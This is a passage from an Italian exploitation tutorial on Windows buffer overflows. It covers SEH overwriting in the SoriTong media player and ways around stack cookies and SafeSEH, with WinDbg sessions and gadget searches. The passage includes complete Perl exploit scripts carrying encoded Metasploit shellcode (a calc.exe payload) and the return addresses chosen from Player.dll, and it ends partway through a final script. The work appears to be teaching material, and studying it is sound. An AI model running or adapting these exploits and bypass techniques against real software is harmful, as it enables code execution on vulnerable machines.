Ora dobbiamo cercare un indirizzo da sovrascrivere al next SEH in modo da saltare invece alla
shellcode. La sequenza di istruzioni pop – pop – ret esegue questo compito.
Ma cosa fa esattamente?
Quando avviene una eccezione, il dispacher crea il proprio stack, ci sposta anche gli elementi
legati al SE handler. Next SEH dista da ESP +8 byte. Allora:
il primo pop incrementa ESP di 4 byte.
Il secondo pop altri 4.
L’istruzione ret prende il valore corrente di ESP (ovvero l’indirizzo del prossimo SEH che era
localizzato a ESP+8) e lo inserisce in EIP. Allora li si salta a livello esecuzione.
Dobbiamo inserire l’indirizzo di una sequenza pop,pop,ret nel SE handler. Possiamo cercare un
lista di istruzioni di questo tipo in qualsiasi modulo eseguibile caricato in memoria.
L’importante è che sia statico. Ovvero che venga caricato ogni volta allo stesso indirizzo.
Guardiamo tra i moduli eseguibili caricati:
...
ModLoad: 77bb0000 77bc5000 C:\WINDOWS\system32\MSACM32.dll
ModLoad: 77ba0000 77ba7000 C:\WINDOWS\system32\midimap.dll
ModLoad: 10000000 10094000 C:\Program Files\SoriTong\Player.dll
ModLoad: 42100000 42129000 C:\WINDOWS\system32\wmaudsdk.dll
ModLoad: 00f10000 00f5f000 C:\WINDOWS\system32\DRMClien.DLL
...
Player.dll fa per noi.
Ricerchiamo all’interno della dll tale sequenza.
Per farlo possiamo utilizzare l’ottimo strumento “findjmp2”, creato dalla società di sicurezza
informatica eEye. Oppure si può utilizzare msfpescan dal framework di metasploit.
Copiamolo nella directory di lavoro assieme alla dll che intendiamo analizzare e diamo:
$ ./findjmp.exe player.dll edi | grep pop | grep -v "000"
0x100104F8 pop edi - pop - retbis
0x100106FB pop edi - pop - ret
0x1001074F pop edi - pop - retbis
0x10010CAB pop edi - pop - ret
0x100116FD pop edi - pop - ret
0x1001263D pop edi - pop - ret
0x100127F8 pop edi - pop - ret
0x1001281F pop edi - pop - ret
...
0x1001B883 pop edi - pop - ret
0x1001BDBA pop edi - pop - ret
0x1001BDDC pop edi - pop - ret
0x1001BE3C pop edi - pop - ret
0x1001D86D pop edi - pop - ret
0x1001D8F5 pop edi - pop - ret
0x1001E0C7 pop edi - pop - ret
0x1001E812 pop edi - pop – ret
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 166 di 193
Scegliamo uno di questi indirizzi.
A questo punto siamo in grado di scrivere l’exploit.
Utilizziamo ancora perl; per il payload utilizziamone uno generico, ad esempio da metasploit,
scarichiamo quello relativo all’esecuzione della calcolatrice di windows calc.exe. Ma prima di
costruire lo script completo; inseriamo a scopo didattico alcuni interrupt in modo da poterci
assicurare l’esatto posizionamento dello shellcode nello stack al momento dell’eccezione. La
prima versione dello script sarà allora come il seguente:
--------- CreateSoriTongExploit.pl ------------------------
$exploit_file = "ui.txt";
# Fill with padding
my $junk= "A" x 584;
# Put an interrupt INT3
my $int= "\xcc\xcc\xcc\xcc";
# Address of pop pop ret sequence
my $ppr= pack('V',0x1001e812);
# Shellcode
my $shellcode= "\x90\x90\x90\x90" x 25;
my $junk2= "A" x 1000;
open(myfile,">$exploit_file");
print myfile $junk.$int.$ppr.$shellcode.$junk2;
close(myfile);
--------- CreateSoriTongExploit.pl END ---------------------
Si noti che la stringa deve essere sufficentemente lunga per generare una una eccezione, questo
giustifica la variabile junk2.
Eseguiamo con wingdb,
Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.
...
ModLoad: 76b00000 76b2e000 C:\WINDOWS\system32\WINMM.dll
ModLoad: 774b0000 775ee000 C:\WINDOWS\system32\OLE32.dll
ModLoad: 770f0000 7717b000 C:\WINDOWS\system32\OLEAUT32.dll
(d20.e44): Break instruction exception - code 80000003 (first chance)
eax=00241eb4 ebx=7ffd6000 ecx=00000001 edx=00000002 esi=00241f48 edi=00241eb4
eip=7c91120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
ntdll!DbgBreakPoint:
7c91120e cc int 3
0:000> g
ModLoad: 76340000 7635d000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 773a0000 774a3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
...
ModLoad: 77ba0000 77ba7000 C:\WINDOWS\system32\midimap.dll
ModLoad: 10000000 10094000 C:\Program Files\SoriTong\Player.dll
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 167 di 193
ModLoad: 42100000 42129000 C:\WINDOWS\system32\wmaudsdk.dll
...
ModLoad: 76e40000 76e4e000 C:\WINDOWS\system32\rtutils.dll
(d20.e44): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=00000041 edx=00000041 esi=0017e504 edi=0012fd64
eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41
0:000> d eip
0012fd64 cc cc cc cc 12 e8 01 10-90 90 90 90 90 90 90 90 ................
0012fd74 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fd84 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fd94 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fda4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fdb4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fdc4 90 90 90 90 90 90 90 90-90 90 90 90 41 41 41 41 ............AAAA
0012fdd4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Vedete che subito dopo gli interrupt c’è l’indirizzo che abbiamo inserito?
Ora siamo che siamo certi del posizionamento sostituiamo le sequenze di 0xcc con un salto.
--------- CreateSoriTongExploit.pl ------------------------
$exploit_file = "ui.txt";
# Fill with padding
my $junk= "A" x 584;
# jmp 6 bytes
my $nxSEH= "\xeb\x06\x90\x90";
# Address of pop pop ret sequence
my $ppr= pack('V',0x1001e812);
# Shellcode (Execute calc.exe)
my $shellcode=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 168 di 193
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46".
"\x4e\x36\x43\x46\x42\x50\x5a";
# A second junk
my $junk2= "A" x 1000;
open(myfile,">$exploit_file");
print myfile $junk.$nxSEH.$ppr.$shellcode.$junk2;
close(myfile);
--------- CreateSoriTongExploit.pl END ---------------------
0x18] (Arch: NT) – Sistemi di sicurezza per Microsoft Windows
Up
Anche per il sistema operativo Microsoft, sono stati introdotti vari sistemi per proteggere la
memoria. Fino ad ora abbiamo visto che sovrascrivendo indirizzi di ritorno o SEH siamo in grado
di eseguire codice su piattaforme windows Xp. Questo è possibile in quanto su questi sistemi
l’indirizzo delle dll e degli eseguibili in memoria rimane lo stesso anche dopo il riavvio della
macchina. Abbiamo però visto che su Linux queste possibilità sono state limitate da nuovi e
sofisticati sistemi di protezione che rendono lo sviluppo di exploit davvero molto più
difficile, molte volte impossibile.
Anche per Microsoft Windows queste limitazioni sono state introdotte, ma a mio parere non hanno
apportato lo stesso livello di limitazione che vale per Linux.
Riassumendole, le seguenti sono le protezioni oggi presenti su i sistemi Microsoft più recenti:
- Stack cookies (canary di controllo nello stack), compilando con ‘/GS’.
- SafeSeh (/SafeSEH compiler switch)
- Data Execution Prevention (DEP) (basato su software e hardware)
- Address Space Layout Randomization (ASLR)
Grosso modo rappresentano sistemi equivalenti a quelli visti per Linux.
- Stack cookies:
Questo sistema inserisce una DWORD dopo il frame pointer sullo stack. Significa che lo stack
appare nel modo seguente:
[buffer][cookie][saved EBP][saved EIP]
Andando a sovrascrivere da buffer si va a corrompere il cookie, questo viene controllato quando
la funzione ritorna e, se corrotto, il programma viene arrestato. Questo permette di evitare
l’esecuzione di shellcode. Ma non ferma la possibilità di creare comunque DoS.
Inoltre, come Propolice, questo sistema riordina le variabili locali inizializzate sullo stack
in modo da sistemare il buffer a valle di tutte le altre variabili locali, evitando che queste
ultime possano venire corrotte. Abbiamo già effettuato una accurata analisi del sistema
Propolice, di fatto questo non cambia.
Se disassembliamo la funzione main del nostro programma sehtest compilato con Visual C++ 2008,
otteniamo il listato seguente:
0:000> uf main
sehtest!main [c:\env\seh\sehtest\sehtest.cpp @ 9]:
9 00401000 55 push ebp
9 00401001 8bec mov ebp,esp
9 00401003 6afe push 0FFFFFFFEh
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 169 di 193
9 00401005 6818224000 push offset sehtest!__rtc_tzz+0x68 (00402218)
9 0040100a 68e5174000 push offset sehtest!_except_handler4 (004017e5)
9 0040100f 64a100000000 mov eax,dword ptr fs:[00000000h]
9 00401015 50 push eax
9 00401016 81c4e0fdffff add esp,0FFFFFDE0h
9 0040101c a100304000 mov eax,dword ptr [sehtest!__security_cookie (00403000)]
9 00401021 3145f8 xor dword ptr [ebp-8],eax
9 00401024 33c5 xor eax,ebp
...
18 004010db 5f pop edi
18 004010dc 5e pop esi
18 004010dd 5b pop ebx
18 004010de 8b4de4 mov ecx,dword ptr [ebp-1Ch]
18 004010e1 33cd xor ecx,ebp
18 004010e3 e81d000000 call sehtest!__security_check_cookie (00401105)
18 004010e8 8be5 mov esp,ebp
18 004010ea 5d pop ebp
18 004010eb c3 ret
Se guardate il listato, noterete che dopo il prologo e prima dell’epilogo viene inserita dal
compilatore una procedura che, prima, sistema il cookie a ebp-8, poi ne controlla il valore per
verificarne l’integrità.
Queste sono le istruzioni chiave:
9 0040101c a100304000 mov eax,dword ptr [sehtest!__security_cookie (00403000)]
9 00401021 3145f8 xor dword ptr [ebp-8],eax
...
18 004010e3 e81d000000 call sehtest!__security_check_cookie (00401105)
E’ chiaro che il metodo più ovvio per bypassare la protezione è sfruttare una vulnerabilità
riguardante l’exception handling. Come abbiamo visto poco fa, questo non sfrutta il ritorno
della funzione ma l’SEH.
Ma ci sono altre occasioni in cui è possibile farlo, innanzi tutto non tutti i buffer sono
protetti. Questo perché non sempre si hanno le condizioni necessarie perché il meccanismo possa
essere applicato. Altra possibilità è trovare cookie statici, ovvero sempre uguali, in questo
caso allora basterebbe semplicemente sovrascrivere con il valore corretto, anche se questo è un
caso raro.
Un sistema diverso è invece quello di sfruttare la ‘virtual function call’. Partiamo dal codice
che segue, preso da ‘Alex Soritov and Mark Dowd’s paper from Blackhat 2008’.
Si tratta di codice C++ creato con Visual C++, difatti è proprio una caratteristica del C++
quella che andremo a sfruttare.
--------- gsvitable.cpp ------------------------
#include "stdafx.h"
#include "windows.h"
class Foo {
public:
void __declspec(noinline) gs3(char* src)
{
char buf[8];
strcpy(buf, src);
bar(); // virtual function call
}
virtual void __declspec(noinline) bar()
{
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 170 di 193
}
};
int main()
{
Foo foo;
foo.gs3(
"AAAA"
"BBBB"
"CCCC"
"DDDD"
"EEEE"
"FFFF");
return 0;
}
--------- gsvitable.cpp END --------------------
Compiliamo assicurandoci che il compilatore sia stato avviato con il parametro ‘/GS’.
I seguenti devono essere i parametri di compilazione per questo esempio:
‘/Od /GL /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_UNICODE" /D "UNICODE" /FD /EHsc /MD /Gy
/Fo"Release\\" /Fd"Release\vc90.pdb" /W3 /nologo /c /Zi /TP /errorReport:prompt’
Analizziamo il codice sorgente e quello che viene generato.
Prima di tutto, nel sorgente abbiamo definito i due membri di una classe molto semplice, con il
parametro noinline. Questo perché, data la semplicità, il compilatore avrebbe ottimizzato le due
funzioni rendendole inline, quindi non effettuando una vera e propria chiamata.
Ora, con l’aiuto di WinDbg, vediamo dove si trova la vulnerabilità.
Se disassembliamo il membro gs3(), troviamo:
0:000> uf Foo::gs3
gsvitable!Foo::gs3 [c:\env\gsvitable\gsvitable.cpp @ 9]:
9 00401000 83ec0c sub esp,0Ch
9 00401003 a118304000 mov eax,dword ptr [gsvitable!__security_cookie (00403018)]
9 00401008 33c4 xor eax,esp
9 0040100a 89442408 mov dword ptr [esp+8],eax
11 0040100e 33c0 xor eax,eax
gsvitable!Foo::gs3+0x10 [c:\env\gsvitable\gsvitable.cpp @ 11]:
11 00401010 8a90fc204000 mov dl,byte ptr gsvitable!`string' (004020fc)[eax]
11 00401016 40 inc eax
11 00401017 84d2 test dl,dl
11 00401019 75f5 jne gsvitable!Foo::gs3+0x10 (00401010)
gsvitable!Foo::gs3+0x1b [c:\env\gsvitable\gsvitable.cpp @ 12]:
12 0040101b 8b01 mov eax,dword ptr [ecx]
12 0040101d 8b10 mov edx,dword ptr [eax]
12 0040101f ffd2 call edx
13 00401021 8b4c2408 mov ecx,dword ptr [esp+8]
13 00401025 33cc xor ecx,esp
13 00401027 e828000000 call gsvitable!__security_check_cookie (00401054)
13 0040102c 83c40c add esp,0Ch
13 0040102f c3 ret
Una caratteristica del C++, è la capacità di lavorare sui componenti della propria classe da
parte dei membri della classe stessa senza passaggio di questi come argomenti. In realtà si
tratta solo di lavoro fatto all’oscuro del programmatore. Forse non tutti quelli che usano il
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 171 di 193
C++, conoscono questo dettaglio.
In realtà infatti, ad ogni membro viene passato un puntatore all’intera classe in modo nascosto.
Il famoso puntatore this, viene passato sempre ad ogni membro come primo argomento in modo non
esplicito, ovvero non visibile. Ma utilizzabile poi dal metodo.
Nel codice di esempio, viene dichiarata una classe ‘foo’. Nella funzione principale l’oggetto
viene inizializzato, poi viene chiamata la funzione gs3() della classe. Questa esegue una
strcpy() che costituisce il problema di sicurezza. Oltre che passare alla funzione gs3 la
stringa da copiare nel buffer, viene passato come parametro anche il puntatore alla classe di
cui abbiamo appena parlato. Ora è chiaro che passando una stringa di lunghezza superiore a 8
byte, si sovrascrive gli elementi che si trovano più in basso rispetto al buffer nello stack, e
dato che this è stato passato come argomento, la copia sovrascrive anche quest’ultimo.
Successivamente nel codice viene chiamata la funzione bar(). Quando questa viene eseguita,
l’esecuzione viene ridiretta nel nostro buffer.
Questo approccio ci permette di bypassare la protezione inserita dal compilatore Microsoft. Dato
che anche sovrascrivendo lo stack e il cookie posizionato prima dello stack pointer, noi
richiamiamo prima la nostra shellcode, in quanto il cookie viene controllato solo al ritorno
della funzione completa.
Disassemblando il codice della classe, vediamo che la chiamata al membro bar() viene fatta
tramite un registro, per calcolare l’offset è sufficiente utilizzare il solito metodo. Poi da
qui si procede con la tecnica standard.
- SafeSeh:
Da partire da windows server 2003, è stata migliorata anche la protezione per i SEH. Come
abbiamo visto prima, attraverso questi è possibile eseguire codice. E’ infatti possibile creare
eccezioni e sovrascrivere gli indirizzi dei gestori con indirizzi arbitrari.
Non lo abbiamo specificato, ma è ovvio che questi sistemi possono essere utilizzati anche per
bypassare la protezione appena vista, quella relativa agli stack cookie.
Con /SafeSEH si ordina al compilatore di inserire controlli ulteriori per la gestione delle
eccezioni. In pratica, gli indirizzi dei gestori vengono controllati prima e dopo l’esecuzione
della funzione. In particolare il sistema effettua i controlli seguenti sull’indirizzo
dell’handler:
- Verifica che tale indirizzo non punti ad una locazione dello stack (utilizza i riferimenti
nella struttura TEB.)
- Verifica che gli handler sono implementati nei moduli caricati in memoria.
- Verifica la catena dei gestori, o meglio verifica che percorrendola si arrivi all’indirizzo
0xffffffff. (“walking the chain”)
Nonostante questo, ci sono dei casi in cui è ancora possibile sfruttare il sistema. Potremmo
inserire la nostra shellcode nell’heap. E utilizzare quindi indirizzi dell’heap per
sovrascrivere l’handler. L’handler sarebbe infatti ritenuto valido e poi chiamato.
Un esempio su cui lavorare:
--------- safeseh.cpp -----------------------
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
void GetInput(char* str, char* out)
{
char buffer[500];
try
{
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 172 di 193
strcpy(buffer,str);
strcpy(out,buffer);
printf("Input received : %s\n",buffer);
}
catch (char * strErr)
{
printf("No valid input received ! \n");
printf("Exception : %s\n",strErr);
}
}
int main(int argc, char* argv[])
{
char buf2[128];
GetInput(argv[1],buf2);
return 0;
}
--------- safeseh.cpp END --------------------
Una delle alternative principali è utilizzare un indirizzo esterno ai moduli caricati.
L’importante è che sia una locazione statica.
Un utile strumento adatto a questo compito è vadump.exe scaricabile gratuitamente dal sito
Microsoft. Oppure l’intera memoria è visibile anche da immunity debugger,
Memory map
Address Size (Decimal) Owner Section Contains Type Access Initial
Mapped as
00010000 00001000 (4096.) 00010000 (itself) Priv RW RW
00020000 00001000 (4096.) 00020000 (itself) Priv RW RW
00125000 00001000 (4096.) 00030000 Priv ??? Guar RW
00126000 0000A000 (40960.) 00030000 stack of mai Priv RW Guar RW
00130000 00003000 (12288.) 00130000 (itself) Map R R
00140000 00001000 (4096.) 00140000 (itself) Map R R
00150000 00003000 (12288.) 00150000 (itself) Priv RW RW
00250000 00006000 (24576.) 00250000 (itself) Priv RW RW
00260000 00003000 (12288.) 00260000 (itself) Map RW RW
00270000 00016000 (90112.) 00270000 (itself) Map R R
\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls
00290000 00041000 (266240.) 00290000 (itself) Map R R
\Device\HarddiskVolume1\WINDOWS\system32\locale.nls
002E0000 00041000 (266240.) 002E0000 (itself) Map R R
\Device\HarddiskVolume1\WINDOWS\system32\sortkey.nls
00330000 00006000 (24576.) 00330000 (itself) Map R R
\Device\HarddiskVolume1\WINDOWS\system32\sorttbls.nls
00340000 00004000 (16384.) 00340000 (itself) Priv RW RW
00350000 00003000 (12288.) 00350000 (itself) Map R R
\Device\HarddiskVolume1\WINDOWS\system32\ctype.nls
00400000 00001000 (4096.) gsvitabl 00400000 (itself) PE header Imag R RWE
00401000 00001000 (4096.) gsvitabl 00400000 .text code Imag R E RWE
00402000 00001000 (4096.) gsvitabl 00400000 .rdata imports Imag R RWE
00403000 00001000 (4096.) gsvitabl 00400000 .data data Imag RW Copy RWE
00404000 00001000 (4096.) gsvitabl 00400000 .rsrc resources Imag R RWE
00405000 00001000 (4096.) gsvitabl 00400000 .reloc relocations Imag R RWE
78520000 00001000 (4096.) MSVCR90 78520000 (itself) PE header Imag R RWE
78521000 00096000 (614400.) MSVCR90 78520000 .text code,imports Imag R E RWE
785B7000 00007000 (28672.) MSVCR90 78520000 .data data Imag RW RWE
785BE000 00001000 (4096.) MSVCR90 78520000 .rsrc resources Imag R RWE
785BF000 00004000 (16384.) MSVCR90 78520000 .reloc relocations Imag R RWE
7C800000 00001000 (4096.) kernel32 7C800000 (itself) PE header Imag R RWE
7C801000 00084000 (540672.) kernel32 7C800000 .text code,imports Imag R E RWE
7C885000 00005000 (20480.) kernel32 7C800000 .data data Imag RW RWE
7C88A000 00071000 (462848.) kernel32 7C800000 .rsrc resources Imag R RWE
7C8FB000 00006000 (24576.) kernel32 7C800000 .reloc relocations Imag R RWE
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 173 di 193
7C910000 00001000 (4096.) ntdll 7C910000 (itself) PE header Imag R RWE
7C911000 0007D000 (512000.) ntdll 7C910000 .text code,exports Imag R E RWE
7C98E000 00005000 (20480.) ntdll 7C910000 .data data Imag RW RWE
7C993000 00032000 (204800.) ntdll 7C910000 .rsrc resources Imag R RWE
7C9C5000 00003000 (12288.) ntdll 7C910000 .reloc relocations Imag R RWE
7F6F0000 00007000 (28672.) 7F6F0000 (itself) Map R E R E
7FFB0000 00024000 (147456.) 7FFB0000 (itself) Map R R
7FFD9000 00001000 (4096.) 7FFD9000 (itself) Priv RW RW
7FFDF000 00001000 (4096.) 7FFDF000 (itself) data block o Priv RW RW
7FFE0000 00001000 (4096.) 7FFE0000 (itself) Priv R R
Con Windbg possiamo cercare l’istruzione che ci interessa e utilizzarla per saltare al nostro
shellcode.
Le istruzioni utili a questo scopo possono essere le seguenti oltre la sequenza ‘pop-pop-ret’:
call dword ptr[esp+nn] / jmp dword ptr[esp+nn] / call dword ptr[ebp+nn] / jmp dword
ptr[ebp+nn] / call dword ptr[ebp-nn] / jmp dword ptr[ebp-nn]
La ricerca effettuata sul codice di esempio produce su windows XP SP3, i seguenti risultati:
0:000> s 0100000 l 77fffff ff 55
00277643 ff 55 ff 61 ff 54 ff 57-ff dc ff 58 ff cc ff f3 .U.a.T.W...X....
00280b0b ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e .U0......W0.....
004011b9 ff 55 8b ec f6 45 08 02-57 8b f9 74 25 56 68 9a .U...E..W..t%Vh.
004014b1 ff 55 8b ec 81 ec 28 03-00 00 a3 68 31 40 00 89 .U....(....h1@..
004015da ff 55 14 eb ed 8b 45 ec-89 45 e4 8b 45 e4 8b 00 .U....E..E..E...
00401645 ff 55 14 eb f0 c7 45 e4-01 00 00 00 c7 45 fc fe .U....E......E..
0040167e ff 55 8b ec 8b 45 08 8b-00 81 38 63 73 6d e0 75 .U...E....8csm.u
0040177a ff 55 8b ec ff 75 08 e8-4e ff ff ff f7 d8 1b c0 .U...u..N.......
004017f1 ff 55 8b ec 8b 4d 08 b8-4d 5a 00 00 66 39 01 74 .U...M..MZ..f9.t
00401831 ff 55 8b ec 8b 45 08 8b-48 3c 03 c8 0f b7 41 14 .U...E..H<....A.
00401881 ff 55 8b ec 6a fe 68 a8-22 40 00 68 a5 19 40 00 .U..j.h."@.h..@.
004019a6 ff 55 8b ec ff 75 14 ff-75 10 ff 75 0c ff 75 08 .U...u..u..u..u.
004019f9 ff 55 8b ec 83 ec 10 a1-18 30 40 00 83 65 f8 00 [email protected]..
L’indirizzo utile a noi è il 0x00280b0b
0:000> u 0x00280b0b
00280b0b ff5530 call dword ptr [ebp+30h]
00280b0e 0000 add byte ptr [eax],al
00280b10 0000 add byte ptr [eax],al
Allora se noi utilizziamo tale locazione, il controllo safeseh non dovrebbe bloccarci
all’esecuzione. L’importante è che la locazione sia statica.
Purtroppo, così facendo si utilizza una locazione che cambia al variare della versione del
sistema operativo, ad esempio su Xp sp2, l’indirizzo sarà differente.
Utilizzando il generatore di pattern di metasploit troviamo l’offset (trovato 524), poi creiamo
un file di test come il seguente:
--------- safeseh.pl ------------------------
my $buffer="A" x 516;
$buffer=$buffer."BBBB";
$buffer=$buffer."DDDD";
system("windbg C:\\env\\gsvitable\\Release\\safeseh.exe \"$buffer\"\r\n");
--------- safeseh.pl END --------------------
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 174 di 193
Al verificarsi dell’eccezione il sistema dovrebbe avvertirvi che l’indirizzo dell’handler non è
valido e questo non dovrebbe venir chiamato.
Ora in seriamo l’indirizzo che abbiamo precedentemente ricercato nei moduli caricati:
--------- safeseh.pl ------------------------
my $buffer="A" x 516;
$buffer=$buffer."\xcc\xcc\xcc\xcc";
$buffer=$buffer.pack('V',0x00280b0b);
system("windbg C:\\env\\gsvitable\\Release\\safeseh.exe \"$buffer\"\r\n");
--------- safeseh.pl END --------------------
Avendo inserito alcuni brakpoint possiamo analizzare con windbg:
0:000> g
(fc4.b60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a0
eip=004010d8 esp=0012fca0 ebp=0012fee4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
safeseh!GetInput+0xd8:
004010d8 8802 mov byte ptr [edx],al ds:0023:00130000=41
0:000> !exchain
0012fed8: 00280b0b
Invalid exception stack at cccccccc
0:000> g
(fc4.b60): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=00280b0b edx=7c9132bc esi=00000000 edi=00000000
eip=0012fed8 esp=0012f8cc ebp=0012f8f0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0012fed8 cc int 3
0:000> d eip
0012fed8 cc cc cc cc 0b 0b 28 00-00 00 00 00 7c ff 12 00 ......(.....|...
0012fee8 96 11 40 00 b1 29 34 00-f4 fe 12 00 41 41 41 41 ..@..)4.....AAAA
0012fef8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012ff08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012ff18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012ff28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012ff38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012ff48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Come si vede dall’output di windbg noi riusciamo a controllare si next SEH che SEH, e
l’indirizzo utilizzato al posto dell’handler supera i controlli di sicurezza di safeseh.
L’istruzione che viene eseguita è ‘call dword ptr [ebp+30h]’. Osservando il valore di EBP
viene in mente che la shellcode può essere inserita più indietro (verso esp). Anche perché
l’indirizzo dell’istruzione call contiene un byte nullo e nulla può essere scritto al seguito.
Il codice di exploit può essere il seguente:
--------- safeseh.pl -----------------------
my $nops = "\x90" x 25; #25 needed to align shellcode
# windows/exec - 144 bytes
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 175 di 193
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode="\xd9\xcb\x31\xc9\xbf\x46\xb7\x8b\x7c\xd9\x74\x24\xf4\xb1" .
"\x1e\x5b\x31\x7b\x18\x03\x7b\x18\x83\xc3\x42\x55\x7e\x80" .
"\xa2\xdd\x81\x79\x32\x55\xc4\x45\xb9\x15\xc2\xcd\xbc\x0a" .
"\x47\x62\xa6\x5f\x07\x5d\xd7\xb4\xf1\x16\xe3\xc1\x03\xc7" .
"\x3a\x16\x9a\xbb\xb8\x56\xe9\xc4\x01\x9c\x1f\xca\x43\xca" .
"\xd4\xf7\x17\x29\x11\x7d\x72\xba\x46\x59\x7d\x56\x1e\x2a" .
"\x71\xe3\x54\x73\x95\xf2\x81\x07\xb9\x7f\x54\xf3\x48\x23" .
"\x73\x07\x89\x83\x4a\xf1\x6d\x6a\xc9\x76\x2b\xa2\x9a\xc9" .
"\xbf\x49\xec\xd5\x12\xc6\x65\xee\xe5\x21\xf6\x2e\x9f\x81" .
"\x91\x5e\xd5\x26\x3d\xf7\x71\xd8\x4b\x09\xd6\xda\xab\x75" .
"\xb9\x48\x57\x7a";
$junk=$nops.$shellcode;
$junk=$junk."\x90" x ($size-length($nops.$shellcode)-5); #5 bytes = length of jmpcode
$junk=$junk."\xe9\x70\xfe\xff\xff"; #jump back 400 bytes
